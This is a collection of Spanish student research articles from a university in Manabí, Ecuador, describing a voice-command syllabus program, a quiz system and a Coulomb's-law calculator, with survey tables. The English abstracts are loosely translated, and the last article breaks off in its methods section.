Elvis Stalin Ventura Quimis, Estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí Jipijapa – Manabí – Ecuador, bachiller en ciencias en la Unidad Educativa “Belisario Quevedo” Julcuy – Jipijapa - Manabí

Kevin Paul Delgado Lopez, Estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí Jipijapa – Manabí – Ecuador, bachiller en ciencias en la unidad educativa “Elba Hernández de Yánez” Caracas- Venezuela.

Abel Jahir Castro Delgado, Estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí Jipijapa – Manabí – Ecuador, bachiller en ciencias especialidad Administración de sistemas en la Unidad Educativa “Quince de Octubre”

Fatima Yamileth Pinargote Sánchez, Estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí Jipijapa – Manabí – Ecuador, bachillerato Técnico, especialidad Mecanizada en construcciones Metálicas en la Unidad Educativa Fiscal Manuel Inocencio Parrales y Guale.

Mery Emilia Cedeño Quijije, Ingeniera en Computación y redes por la Universidad Estatal del Sur de Manabí y Magister en Educación informática por la Universalidad Estatal de Guayaquil.

**PROGRAMA POR COMANDO DE VOZ PARA MOSTRAR LOS SÍLABOS DE
LAS ASIGNATURAS DEL TERCER SEMESTRE DE LA CARRERA DE LA
TECNOLOGÍA DE LA INFORMACIÓN**

Pincay Zavala Elver Leodan,
Marcillo Castro Jessica Carolina,
Chilan Asunción Jairo Arnulfo,
Lino Peñafiel Kevin Andrés,
Ing. Yanina Holanda Campozano Pilay. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

leopincayz1995@gmail.com,
Karolinamarcillo28@gmail.com,
Jchilanasuncion@gmail.com,
kevinlin3025@hotmail.com

RESUMEN

La presente investigación podemos desarrollar nuestro proyecto en donde se establece la facilidad para nuestro computador que puede reconocer la voz por medio de un programa para mejorar el aprendizaje que podemos dar a las personas que constan con alguna discapacidad que únicamente puedan trabajar mediante la voz. La implementacion de los conocimientos adquiridos en la plataforma de programación Visual Studio .Net y las técnicas de conocimientos de lenguajes de programación, permite desarrollar aplicaciones para administrar los recursos de hardware y software de un ordenador, facilitando la manipulación de sus componentes para un correcto funcionamiento. Se determino que nuestro programa sea ejecutado por medio de un comando de voz al momento de hacer el llamado a las materias que le hemos asignados y nos muestre un breve concepto y algunas fórmulas. Se establece esta aplicación como una importante herramienta de control y solución para determinar el sistema informático sobre el reconocimiento de voz que se establece por medio de un programa que es realizado por un comando de voz.

PALABRAS CLAVE: Computadora, Reconocimiento, Tecnología.

ABSTRACT

The present investigation we can develop our project where we can establish the facility for our computer that can recognize the voice through a program to improve the learning, we can give to people who have a disability that can only work through the vos. The implementation of the knowledge acquired in the Visual Studio .Net programming platform and the programming language knowledge techniques in allows developing applications to manage the hardware and software resources of a computer, facilitating the manipulation of its components for correct operation. It was determined that our program of real data persividos of the matters that we have assigned and concept and some formulas so that they can acquire more knowledge of our application that is voice recognition. This application is established as an important control-solution tool to determine the computer system on voice recognition that is executed through a program executed on visual.net acquiring our knowledge of the academic period.

KEYWORDS: Computer, Recognition, Technology

1. INTRODUCCIÓN

Visual. Net es un lenguaje de programación orientado a objetos que se puede considerar una evolución de Visual studio. La computadora es una herramienta tecnológica muy compleja, creada para cumplir funciones y cubrir necesidades requeridas por los usuarios de esta manera podemos desarrollar todos los programas ejecutables dentro de la programación, todas las partes del computador cumplen un rol relevante en este caso es la programación basada en dicho lenguaje con la que podíamos realizar este trabajo.

Por esta razón se implementó el reconociendo de voz para que a los estudiantes se le facilite la búsqueda de formulasen materias como calculo diferencial, estadística y probabilidad, administración de sistemas operativos, estructura de datos, y arquitectura del computador, y la más contundente que es la programación. Para llevar a cabo este proyecto sobre el reconocimiento de voz el cual nos permitirá realizar varios tipos de trabajo para el futuro donde se encontrarán diferentes tipos de dificultad.

La Educación en Tecnología se ha creado desde los niveles más básicos hasta la actualidad, donde se hace uso de todos los programas que nos facilitan a nosotros los usuarios, por el cual se ha creado esta aplicación que nos ayudara de cierto modo a hacer uso de una computadora por medio de este reconocimiento de voz, el cual nos servirá para el mejoramiento y facilidad de todos los usuarios por medio de esta aplicación el computador reconocerá nuestras voces mediante la programación ejecutada en visual C#.

2. MATERIALES Y MÉTODOS

El proceso de recolección de información y creación del programa informático es para ordenar mediante comandos de voz, donde intervienen los recursos del computador y el ser humano para dar resultado esperado.

Recursos humanos

- Información, la materia principal es la administración de sistemas operativos como materia integradora asignada por los docentes de la carrera.
- Capacitaciones dadas por el personal encargo de dicha comisión de investigadores de la carrera de Tecnología de la Información para el desarrollo de la presente investigación.
- Información de la materia integradora para la administración de recursos de las computadoras y de programación obtenidas en las clases dadas por los profesores.
- Capacitaciones dadas por la comisión de investigación de la carrera de tecnologías de la información para el desarrollo de la presente investigación.

Recursos tecnológicos (computadoras)

- Lenguaje de Programación C#
- Computadoras

Métodos:

- Método histórico lógico: Este método toma sus fundamentos en el análisis de los antecedentes de investigaciones y soluciones aplicadas a problemas similares.
- Método bibliográfico – documental; aplicado en la etapa de recopilación de información del tema para el proceso de elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

3. RESULTADOS Y DISCUSIÓN

Análisis de los principales resultados generados en las encuestas:

Pregunta # 1

1. ¿Qué lenguaje de programación usted conoce?

Alternativa	Frecuencia	Porcentaje
PHP	13	26%
Visual Basic.Net	20	40%
Java	17	34%
<i>Total</i>	<i>50</i>	<i>100%</i>

Análisis e Interpretación

En la encuesta realizada se pudieron encontrar resultados que un 40 % de estudiantes tienen conocimientos acerca de Visual Basic, mientras el 34% y 26% requieren saber más acerca de dichos programas. Mediante este análisis se puede deducir que se necesita reforzar los lenguajes de programación para así poder desarrollar aplicaciones.

Pregunta # 2

¿Qué dificultad le tomo en aprender la programación de dichos lenguajes?

Alternativa	Frecuencia	Porcentaje
Alto	12	24%
Medio	25	50%
Bajo	13	26%
<i>Total</i>	<i>50</i>	<i>100%</i>

Análisis e Interpretación

En la encuesta realizada se pudieron encontrar resultados que un 50% de los estudiantes tienen un nivel medio en cuanto a aprender dichos lenguajes de programación, por lo tanto hay un nivel alto y bajo con cierta dificultad al momento de aprender a programar.

Pregunta # 3

¿Conoce usted acerca de algún software inteligente dirigida por comandos de voz?

Alternativa	Frecuencia	Porcentaje
Si	40	80%
No	10	20%
<i>Total</i>	<i>50</i>	<i>100%</i>

Análisis e Interpretación

En la encuesta realizada se lograron encontrar que un 80% de los estudiantes si tienen conocimiento de la existencia del software dirigido por comando de voz, mientras que un 20% de los estudiantes no tiene conocimiento de dicho software.

La encuesta aplicada a los estudiantes se pudo obtener resultados reales que un 90% de estudiantes indican que con la implementación de un software inteligente se brindará un mejor aprendizaje a los estudiantes de la Carrera de Tecnología de la Información, de la Universidad Estatal del Sur de Manabí. Mediante un análisis se pudo determinar que con la Implementación de un software inteligente mejoraría la enseñanza aprendizaje del estudiante.

4. CONCLUSIONES

El presente trabajo permitió analizar las diferentes técnicas y metodologías actuales para mejorar la administración de un sistema informático para garantizar la eficiencia de un mejor manejo del reconocimiento de voz.

La aplicación informática fue diseñada en el lenguaje de programación VISUAL BASIC.

Es evidente que con la implementación de esta aplicación informática se contribuye en el aprendizaje de los estudiantes.

5. RECOMENDACIONES

Se recomienda a los estudiantes de segundo semestre este programa ya que tendrán un mayor conocimiento al momento de recibir dichas asignaturas en tercer semestre.

REFERENCIAS BIBLIOGRÁFICAS

- Begerano, P. G. (01 de 12 de 2013). *EL DIARIO.ES*. Obtenido de EL DIARIO.ES:
https://www.eldiario.es/turing/reconocimiento-voz-biometria_0_201230680.html
- Hilbert, M., & López, P. (28 de febrero de 2015). *wikipedia*. Obtenido de wikipedia:
https://es.wikipedia.org/wiki/Tecnolog%C3%AD_a_de_la_informaci%C3%B3n
- Hurtado Moína, H., & Solís Mora, A. (31 de Enero de 2019). Obtenido de
<http://bibdigital.epn.edu.ec/handle/15000/20051>
- Ochoa Méndez, H., & Solís Mora, A. (Mayo de 2016). Obtenido de
<http://repositorio.ug.edu.ec/handle/redug/30916>
- Perez, J. (2008). *Definición de sistema operativo*. Obtenido de Definición de sistema operativo:
<https://definicion.de/sistema-operativo/>
- Villagómez Murillo, E., & Muñoz Valdivieso, P. (2013). *Universidad Nacional de Chimborazo*.
Obtenido de <http://dspace.unach.edu.ec/bitstream/51000/676/1/UNACH-EC-IET-2013-0007>.

BIOGRAFÍA DEL AUTOR

Jairo Arnulfo Chilan Asuncion, estudiante de la carrera Tecnología de la Informaformaciòn en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller tecnico en la Unidad Educativa “Fiscomisional Jose Maria Velaz” Parroquia julcuy: Manabí-Ecuador.

Lino peñafiel Kevin Andrés, estudiante de la carrera Tecnología de la información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador Bachiller en Ciencias en la Unidad Educativa Fiscal “Alejo Lascano” Jipijapa-Manabí-Ecuador.

Marcillo castro Jessica Carolina, estudiante de la carrera Tecnología de la información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador Bachiller en Electricidad en la Unidad Educativa Fiscal “jipijapa” Jipijapa-Manabí-Ecuador.

Pincay Zavala Elver Leodan, estudiante de la carrera Tecnología de la información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador Bachiller en Ciencias técnicas en la Unidad Educativa Fiscal “Alejo Lascano” Jipijapa-Manabí-Ecuador.

SISTEMA DE PREGUNTAS Y RESPUESTAS DE LOS SABERES QUE SE INTEGRAN EN EL TERCER NIVEL DE T.I

Ginger Nahomy Castro Armendáriz,

Julieta Jamileth De La Cruz Aguilar,

Steven Stalin Guachi Reyes,

Dr. Alberto Rodríguez Rodríguez. PhD.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ,

[ginaho1999@gmail.com,](mailto:ginaho1999@gmail.com)

[guachivalentina@gmail.com,](mailto:guachivalentina@gmail.com)

stevengr28@hotmail.com

RESUMEN

Se propone como objetivo realizar un sistema informático de preguntas que evalúe el conocimiento del estudiante del tercer semestre, hay que resaltar que con la ayuda de lo teórico y lo investigativo se pudo lograr la práctica para realizar el sistema informático. El trabajo propuesto se basa en realizar preguntas al estudiante con el fin de tener una respuesta según los aprendizajes que adquieren los alumnos día a día en el aula de clases correspondiente a las disciplinas académicas que se dan en el tercer nivel de la Carrera Tecnologías de la Información. Este sistema sustentado en el programa Visual Basic ayudara a diagnosticar el nivel de aprendizaje del estudiante, al finalizar las preguntas de las asignaturas se da a conocer las respuestas correctas e incorrectas que el estudiante ha respondido. El desarrollo de este sistema fue favorable porque el estudiante pudo medir sus conocimientos, es importante desarrollar este tipo de sistema dedicado para los alumnos, así los paralelos de bajo nivel tendrán guías para sus nuevos proyectos. Se aplicó el método histórico-lógico para la construcción del proyecto, con énfasis en la sistematización de los antecedentes históricos del objeto y campo de la investigación, el método inducción-deducción para estudiar casos individuales y llegar a una generalización sobre el estudio del proyecto, el método de estadística descriptiva para la tabulación de los datos obtenidos de la aplicación de las encuestas y el análisis de la muestra y el método de estadística inferencial para determinar el tamaño de la muestra de manera de que pudiera ser representativa de la población, así como para infringir resultados a partir de las relaciones dadas en el proceso de acceso múltiples.

PALABRAS CLAVE: Asignaturas, Aprendizaje, Estudiante, Test

ABSTRACT

The objective is to create a computer system of questions that evaluated the knowledge of the student of the third semester, it is necessary to highlight that with the help of the theoretical and the research the practice could be achieved to realize the computer system. The proposed work is based on asking questions to the student in order to have a response according to the learning that students acquire day by day in the classroom corresponding to the academic disciplines that occur in the third level of the Career Technologies of the Information. This system based on the basic visual program will help to diagnose the student's level of learning. At the end of the questions of the subjects, the correct and incorrect answers that the student has answered will be announced. The development of this system was favorable because the student could measure their knowledge, it is important to develop this type of system dedicated for the students, so the low-level parallels will have guides for their new projects. The historical-logical method for the construction of the project was applied, with emphasis on the systematization of the historical background of the object and field of the research, the induction-deduction method to study individual cases and reach a generalization about the study of the project, the method of descriptive statistics for the tabulation of the data obtained from the application of the surveys and the analysis of the sample and the method of inferential statistician to determine the size of the sample so that it could be representative of the population, as well as to inflict results from the relationships given in the multiple access process.

KEYWORDS: Knowledge, Learning, Student, Subjects, Test.

1. INTRODUCCIÓN

Desde hace mucho tiempo el hombre ha ido de la mano con la tecnología integrando nuevos programas o servicios para el mundo, en la actualidad las T.I. Siguen haciendo cambios importantes en la vida profesional y personal, tanto así que el estudiante en preparación día a día obtiene nuevos conocimientos, que son capaz de desarrollar diferentes tipos de programas informáticos.

El avance de la tecnología no podía faltar y dejar a un lado los sistemas informáticos o servicios, como un sistema de preguntas y respuestas según el conocimiento que las personas aportan.

En el siguiente trabajo mostraremos la elaboración del proyecto que tiene como nombre **Sistema informático de preguntas de conocimiento básico de las asignaturas de tercer semestre de la carrera T.I.** el cual se desarrollará con el programa Visual Basic, este proyecto se llevara a cabo con la finalidad de saber si el estudiante adquirió conocimientos de las clases que fueron dadas por el docente.

Es de gran importancia conocer las facilidades que nos ofrece el campo de la informática ya que gracias a que la ciencia avanza podemos proyectar diferentes tipos de programas o sistemas.

En agosto del 2008, en la Universidad del Salvador se creó el siguiente proyecto: Elaboración e implementación de un sistema informático para el instituto nacional “San José Verapaz” del municipio de Verapaz, departamento de San Vicente; presentado por: Molina, Rene Alberto Pérez Valladares, Ana Delmy. (Molina, 2013)

En Ibarra en el año 2012, en la Universidad Regional Autónomas de los Andes se creó el proyecto con el tema de Sistema informático para la gestión de equipos de cómputo del departamento técnico en la empresa “COPYCOM”, escrito por Tnlgo. Christian Fernando Ponce Sevillano. (Sevillano, 2013)

Los objetivos a conseguir es analizar la situación académica del estudiante del tercer semestre de la carrera T.I., demostrar el sistema informático de preguntas e implementar el sistema informático de preguntas con los conocimientos adquiridos.

2. MATERIALES Y MÉTODOS

MATERIALES

- Hojas
- Lapiceros
- Impresora
- Internet
- Computadora
- Cámara digital
- Memoria

METODOLOGÍA

En la construcción del proyecto se utilizaron métodos de la investigación científica tales como:

Nivel teórico:

Método histórico-lógico: se utilizó para la construcción del proyecto, con énfasis en la sistematización de los antecedentes históricos del objeto y campo de la investigación.

Método inducción-deducción: se usó para estudiar casos individuales y llegar a una generalización sobre el estudio del proyecto.

Método estadístico-matemático:

Estadística Descriptiva: se utilizó para la tabulación de los datos obtenidos de la aplicación de las encuestas y el análisis de la muestra.

Estadística Inferencial: se empleó para determinar el tamaño de la muestra de manera de que pudiera ser representativa de la población, así como para inferir resultados a partir de las relaciones dadas en el proceso de acceso múltiples.

3. RESULTADOS Y DISCUSIÓN

Pregunta #1

¿Conoce usted de un sistema informático de preguntas y respuesta?

Tabla #1

RESPUESTA	CANTIDAD	PORCENTAJE
SI	8	27%
NO	22	73%
TOTAL	30	100%

ANÁLISIS E INTERPRETACIÓN

La encuesta realizada a 30 estudiantes de la carrera de Tecnología de información del tercer semestre 8 alumnos respondieron que si tienen conocimiento que es un sistema informático de preguntas y respuestas que corresponden al 27%, mientras que 22 alumnos respondieron que no y corresponde al 73%.

Pregunta#2

¿Ha utilizado alguna vez un sistema informático de preguntas y respuestas?

Tabla #2

RESPUESTA	CANTIDAD	PORCENTAJE
SI	9	30%
NO	21	70%
TOTAL	30	100%

ANÁLISIS E INTERPRETACIÓN

La encuesta realizada a 30 estudiantes de la carrera de Tecnología de información del tercer semestre 9 alumnos respondieron que si han utilizado un sistema informático de preguntas y respuestas que corresponden al 30%, mientras que 21 alumnos respondieron que no tiene conocimiento y corresponde al 70%.

Pregunta#3

¿Cree usted que es bueno que existan los sistemas informáticos de preguntas y respuesta para que el estudiante mida sus conocimientos?	RESPUESTAS	CANTIDAD	PORCENTAJE
	SI	18	60%
	NO	12	40%
	TOTAL	30	100%

Tabla #3

ANÁLISIS E INTERPRETACIÓN

La encuesta realizada a 30 estudiantes de la carrera de Tecnología de información del tercer semestre 18 alumnos respondieron que, si es bueno que existan sistema informático de preguntas y respuestas que corresponden al 60%, mientras que 12 alumnos respondieron que no y corresponde al 40%.

Pregunta #4

¿Cree usted que el estudiante debe utilizar continuamente los sistemas informáticos de preguntas y respuesta para reforzar sus conocimientos?

Tabla #4

RESPUESTAS	CANTIDAD	PORCENTAJE
SI	19	63%
NO	11	37%
TOTAL	30	100%

ANÁLISIS E INTERPRETACIÓN

La encuesta realizada a 30 estudiantes de la carrera de Tecnología de información del tercer semestre 19 alumnos respondieron que si debe utilizar el estudiante los sistemas informáticos de preguntas y respuestas que corresponden al 63%, mientras que 11 alumnos respondieron que no y corresponde al 37%.

Pregunta#5

¿Está usted satisfecho con la elaboración de este sistema informático de preguntas y respuestas?

Tabla#5

RESPUESTA	CANTIDAD	PORCENTAJE
SI	14	47%
NO	16	53%
TOTAL	30	100%

ANÁLISIS E INTERPRETACIÓN

La encuesta realizada a 30 estudiantes de la carrera de Tecnología de información del tercer semestre 14 alumnos respondieron que, si están satisfecho con la elaboración de este sistema informático que corresponden al 47%, mientras que 16 alumnos respondieron que no y corresponde al 53%.

4. CONCLUSIONES

Es importante el desarrollo de este tipo de sistema ya que ayuda a darse cuenta si el estudiante en clases presta atención o no, si ha adquirido conocimientos o no, ya que todas las preguntas expuesta por cada asignatura fueron explicadas por los docentes en sus respectivas clases en el aula.

5. RECOMENDACIONES

Es recomendable que los alumnos de los otros niveles usen este tipo de sistemas para que nutran sus conocimientos y se den cuenta de los temas que se tratan en niveles superior al de ellos.

BIBLIOGRAFIAS

Molina, R. (2013). Recuperado de

<http://ri.ues.edu.sv/id/eprint/3375/1/70102338.pdf>

Sevillano, C. P. (2013). Recuperado de
dspace.uniandes.edu.ec/bitstream/123456789/3219/1/TUISIS002-2013.pdf

BIOGRAFÍA DEL AUTOR

Ginger Nahomy Castro Armendáriz estudiante de la carrera Tecnologías de la Información en la Universidad Estatal Del Sur De Manabí Jipijapa- Manabí- Ecuador, Bachiller en Aplicaciones Informáticas en la Unidad Educativa Fiscal “Ocho de enero” Jipijapa- Manabí- Ecuador.

Julieta Jamileth De La Cruz Aguilar estudiante de la carrera Tecnologías de la Información en la Universidad Estatal Del Sur De Manabí Jipijapa- Manabí- Ecuador, Bachiller En Organización Y Gestión De La Secretaría En La Unidad Educativa Fiscal “Quince De Octubre” Jipijapa- Manabí- Ecuador.

Steven Stalin Guachi Reyes estudiante de la carrera Tecnologías de la Información en la Universidad Estatal Del Sur De Manabí Jipijapa- Manabí- Ecuador, Bachiller en Ciencias en la Unidad Educativa República Del Ecuador Jipijapa- Manabí- Ecuador.

Lcdo. Alberto Rodríguez Rodríguez. PhD. Doctor en Ciencias Pedagógicas, Magister en Ciencias de la Educación, Licenciado en Educación en Matemática. Docente de la Universidad Estatal del Sur de Manabí.

.

APLICACIÓN INFORMÁTICA SUSTENTADA EN LA PLATAFORMA DEV C++ PARA CALCULAR LA FUERZA ENTRE CARGAS

Betzy Gabriela Almendariz Pionce,

Sara María Pibaque Quimis,

Ing. Edwin Antonio Mero Lino. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

gabi.almendariz12@gmail.com,

isama_115@hotmail.com,

edwin_a122@hotmail.es

RESUMEN

En la actualidad la Ley de Coulomb se presenta en el día a día y por eso es necesario conocer acerca de esta, ya que es vital para el estudio de cargas en el espacio y de las fuerzas que se producen cuando estas interactúan entre sí, lo que esta ley nos dice es: “La magnitud de cada una de las fuerzas eléctricas con que interactúan dos cargas puntuales es directamente proporcional al producto de las cargas e inversamente proporcional al cuadrado de la distancia que las separa. Muchos no saben qué hacer en esos casos o como proceder a realizar ejercicios del tema antes mencionado por eso ha surgido la idea de contar con una aplicación informática para ayudar al estudiante en el mejoramiento de su rendimiento académico. Para esto mediante un programa realizado en la plataforma c++ podrá resolver ejercicios de fuerza entre cargas, le brindamos un instrumento para el cálculo de ejercicios físicos, facilitándole así el desarrollo de estos la “Aplicación informática para calcular la fuerza entre cargas” podrá ayudarlo así no tenga acceso a internet ya que cuenta con un funcionamiento fuera de línea. En la construcción del artículo se utilizaron métodos de la investigación científica. Encuesta dirigida a estudiantes de la carrera de Tecnología de la Información por los autores de este artículo. El presente trabajo permitió analizar las diferentes técnicas y metodologías actuales para mejorar el cálculo de fuerzas ente cargas de la carrera de Tecnología de la Información.

PALABRAS CLAVE: cargas puntuales, coulomb, dev c++, magnitud

ABSTRACT

Nowadays, Coulomb's Law is presented on a daily basis and at the same time it is necessary to know on this subject that it is vital for the study of the charges in space and the forces that occur

when these interact with each other, which This law tells us: "The magnitude of each of the electrical forces with which the point charges interact is directly proportional to the product of the charges and inversely proportional to the square of the distance it separates. Many do not know what to do in those cases or how to perform an exercise. For this, the program can be used. The tool can be used for the calculation of physical exercises, facilitate the development of these applications. Access the Internet because it has an offline operation. In the construction of the article the methods of scientific research were used. Survey directed to the students of the career of Information Technology by the authors of this article. The present work focused on the different techniques and methodologies to improve the calculation of forces in the career of information technology.

KEYWORDS: Coulomb; point charges; Dev c ++; magnitude

1. INTRODUCCIÓN

A lo largo de los últimos años el software y aplicaciones basados en código c++ han generado una revolución total en el mundo, convirtiéndose en un fenómeno que ha impactado en diferentes ámbitos del ser humano, entre ellos en la educación.

La Ley de Coulomb lo que esta ley nos dice es: "La magnitud de cada una de las fuerzas eléctricas con que interactúan dos cargas puntuales es directamente proporcional al producto de las cargas e inversamente proporcional al cuadrado de la distancia que las separa". Para ello es necesario conocer, entenderla y aplicarla para desarrollar diferentes procesos mentales además de habilidades matemáticas es por esto que le presentamos esta aplicación informática sustentada en la plataforma c++ para el cálculo de la fuerza ejercida entre dos cargas.

El presente trabajo se lo realizo en la facultad de ciencias técnicas en la carrera de tecnología de la información de la universidad estatal del sur de Manabí –del Cantón Jipijapa, Provincia de Manabí, Ecuador. Se llevó a cabo a través de un plan de trabajo educativo, el cual nos proporcionó la información para su desarrollo. Es la forma práctica de implementar lo aprendido durante todo este semestre y así por medio de esta aplicación demostrar nuestro desempeño académico y experimentando cada uno de los procesos en los que se dividió la metodología utilizada y de alguna u otra manera ayudar a los estudiantes de primer semestre de la carrera de tecnología de la información, tiene como finalidad por medio de esta aplicación ayudar al estudiante en el mejoramiento de su rendimiento académico, brindándole un

instrumento para el cálculo de ejercicios algebraicos y físicos, facilitándole así el desarrollo de estos ejercicios.

DESARROLLO

Hacia la década de los 70, los lenguajes de programación se incorporaron rápidamente al ámbito educativo, porque permiten ayudar a mejorar el pensamiento y acelerar el desarrollo cognitivo. (Rodríguez, J.A, 2009:89)

El desarrollo de esta aplicación surge desde la detección de la siguiente situación problemática en los “estudiantes de primer semestre (A, B) de la carrera de Tecnología de la Información “de la Universidad Estatal del Sur de Manabí ubicada en el canto Jipijapa de la provincia de Manabí.

¿Qué es la ley de coulomb? Esta es la primera incógnita que aparece antes de la creación de este software.

En esta investigación se asume: “la fuerza de atracción o repulsión entre dos cargas puntuales (cuerpos cargados cuyas dimensiones son despreciables comparadas con la distancia r que las separa) es inversamente proporcional al cuadrado de la distancia que las separa”.

¿Cómo hacemos de esta idea una realidad? La informática reúne muchas técnicas desarrolladas por el hombre con el objetivo de potenciar sus capacidades de pensamiento, memoria y comunicación. Su área de aplicación no tiene límites.

El conocimiento de la informática permite adentrarse en un complejo e indescifrable mundo de ceros y unos, en donde encontramos una herramienta llamada plataforma Dev C++, es un lenguaje de programación diseñado a mediados de los años 1980 por Bjarne Stroustrup.

Basados en la plataforma C++ es posible emprender propuestas de soluciones a problemas que ayudara en el área académica al estudiante de la carrera de tecnología de la información, beneficiando indudablemente a los esfuerzos por salvar al planeta de un daño climatológico a nivel global.

La creación de este software constituye un verdadero reto como profesionales en formación, pero se consta con todos los elementos que propician seguridad para su construcción.

Implementar una aplicación informática en la plataforma C++ para calcular la fuerza entre cargas.

La palabra electricidad proviene del vocablo griego “electrón”, que significa “ámbar”. El ámbar es una resina fósil transparente de color amarillo, producido en tiempos muy remotos por árboles que actualmente están convertidos en carbón fósil. (ANONIMO, 2009)

Los primeros fenómenos eléctricos fueron descritos por el matemático griego Tales de Mileto, quien vivió aproximadamente en el año 600 a.C. Señalaba que, al frotar el ámbar con una piel de gato, podía atraer algunos cuerpos ligeros como polvo, cabellos o paja.

El físico alemán Otto de Guericke (1602-1686) construyó la primera máquina eléctrica, cuyo principio de funcionamiento se basaba en el frotamiento de una bola de azufre que giraba produciendo chispas eléctricas.

El norteamericano Benjamín Franklin (1706-1790) pudo observar que cuando un conductor cargado negativamente termina en punta, se acumulan los electrones en esa parte y por repulsión abandonan dicho extremo, fijándose sobre las moléculas de aire o sobre un conductor cercano cargado positivamente (tiene carencia de electrones). Aprovechó las propiedades antes descritas y propuso aplicarlas en la protección de edificios, mediante la construcción del pararrayos.

Charles Coulomb científico francés (1736-1806), estudió las leyes de atracción y repulsión eléctrica. En 1777 inventó la balanza de torsión que medía la fuerza por medio del retorcimiento de una fibra fina y rígida a la vez.

En los últimos sesenta años, el estudio de la electricidad ha evolucionado intensamente. Ello, debido a que se ha podido comprobar que posee muchas ventajas sobre otras clases de energía, por ejemplo: puede ser transformada fácilmente, se transporta de manera sencilla y a grandes distancias a través de líneas aéreas que no contaminan el ambiente. Se puede utilizar también en forma de corrientes muy fuertes para alimentar enormes motores eléctricos o bien en pequeñas corrientes para hacer funcionar dispositivos electrónicos.

En los países desarrollados, existen actualmente varios medios para producir energía eléctrica: centrales hidroeléctricas, termoeléctricas o nucleoelectricas, cuya finalidad es evitar el consumo excesivo del petróleo **Base teórica**

Tecnología de la Información

Información es proveniente del inglés “Information technology”, y se hace conocido a través del administrador de computadoras Jim Domsic en el año de 1985, con la finalidad de darle un término más actualizado al procesamiento de datos.

La tecnología de la información es un término donde se comprende todo lo vinculado con el almacenamiento, protección, procesamiento y transmisión de la información. Este concepto engloba todo lo relacionado con la informática, la electrónica y las telecomunicaciones. Los avances tecnológicos como el Internet, las comunicaciones móviles, los satélites, etc. Han hecho significativos cambios en el sistema económico y social, influyendo en las relaciones sociales.

En la actualidad y gracias a las tecnologías de la información los individuos pueden comunicarse y recibir información en tiempo real, donde hace años atrás eso era imposible. (anonimo, 2015)

C++

C++ es un lenguaje de programación orientado a objetos donde toman la base del lenguaje C y le agrega la capacidad de abstraer tipos como en Smalltalk.

La intención de su creación fue el extender al exitoso lenguaje de programación C con mecanismos los cuales permitieran la manipulación de objetos. En ese sentido, desde el punto de vista de los lenguajes orientados a objetos, el C++ es un lenguaje híbrido [¿por? fusionar con el siguiente].

Posteriormente se añadieron facilidades de programación genérica, donde se sumó a los otros dos paradigmas admitidos (programación estructurada y la programación orientada a objetos). Por esto se suele decir, C++ es un lenguaje de programación multiparadigma.

Programación en C++

Un lenguaje de programación es una herramienta permite la comunicación e instrucción a la computadora para realizar una tarea específica. Cada lenguaje de programación posee una sintaxis y un léxico particular, es decir, forma de escribirse de una manera diferente en cada

uno, por la forma como fue creado y por la forma de trabajar su compilador para revisar, acomodar y reservar el mismo programa en memoria.

Ley de Coulomb

La ley de Coulomb, nombrada en reconocimiento del físico francés Charles-Augustin de Coulomb (1736-1806), que enunció en 1785 y forma la base de la electrostática, puede expresarse como:

La magnitud de cada una de las fuerzas eléctricas con que interactúan dos cargas puntuales en reposo es directamente proporcional al producto de la magnitud de ambas cargas e inversamente proporcional al cuadrado de la distancia que las separa y tiene la dirección de la línea que las une. La fuerza es de repulsión si las cargas son de igual signo, y de atracción si son de signo contrario.

Coulomb desarrolló la balanza de torsión con la que determinó las propiedades de la fuerza electrostática. Este instrumento consiste en una barra que cuelga de una fibra capaz de torcerse. Si la barra gira, la fibra tiende a regresarla a su posición original, con lo que conociendo la fuerza de torsión que la fibra ejerce sobre la barra, se puede determinar la fuerza ejercida en un punto de la barra. La ley de Coulomb también conocida como ley de cargas tiene que ver con las cargas eléctricas de un material, es decir, depende de sus cargas sean negativas o positivas. (Lopez, 2010)

Definición de conductor eléctrico

El adjetivo conductor se utiliza para calificar a aquello que conduce (guía, transporta, dirige). Eléctrico, por su parte, alude a lo que tiene, necesita o transmite electricidad: la forma de energía que se basa en la fuerza manifestada por el rechazo o la atracción entre partículas que tienen carga.

Un conductor eléctrico, de este modo, es un material que posibilita la transmisión de electricidad. Esta capacidad está dada por la escasa resistencia que ejerce ante el movimiento de la carga eléctrica.

Existen distintas clases de materiales que actúan como conductores eléctricos. Los más eficientes son los metales como el cobre, la plata, el hierro, el aluminio y el oro. Sin embargo,

algunos materiales que no son metales, como una solución salina o el grafito, también funcionan como conductores eléctricos.

La física con la ecología

La ecología es la rama de la Biología que estudia las interacciones de los seres vivos con su hábitat. Esto incluye factores abióticos, esto es, condiciones ambientales tales como: climatológicas, edáficas, etc.; pero también incluye factores bióticos, esto es, condiciones derivadas de las relaciones que se establecen con otros seres vivos. Mientras que otras ramas se ocupan de niveles de organización inferiores (desde la bioquímica y la biología molecular pasando por la biología celular, la histología y la fisiología hasta la sistemática), la ecología se ocupa del nivel superior a éstas, ocupándose de las poblaciones, las comunidades, los ecosistemas y la biosfera. Por esta razón, y por ocuparse de las interacciones entre los individuos y su ambiente, la ecología es una ciencia multidisciplinaria que utiliza herramientas de otras ramas de la ciencia, especialmente Geología, Meteorología, Geografía, Sociología, Física, Química y Matemática. (Lay, 2007)

La *Física* se relaciona por todos los procesos bióticos tienen que ver con la transferencia de energía, desde los productores, que aprovechan la energía lumínica para producir compuestos orgánicos complejos, hasta las bacterias, que obtienen energía química mediante la desintegración de las estructuras moleculares de otros organismos. Apoya a la ecología con los conocimientos sobre las transformaciones de la energía que circula en los ecosistemas, la geofísica se encarga de estudiar nuestro planeta como la influencia de los astros. (Lopez, 2010)

2. MATERIALES Y MÉTODOS

En la construcción del proyecto se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

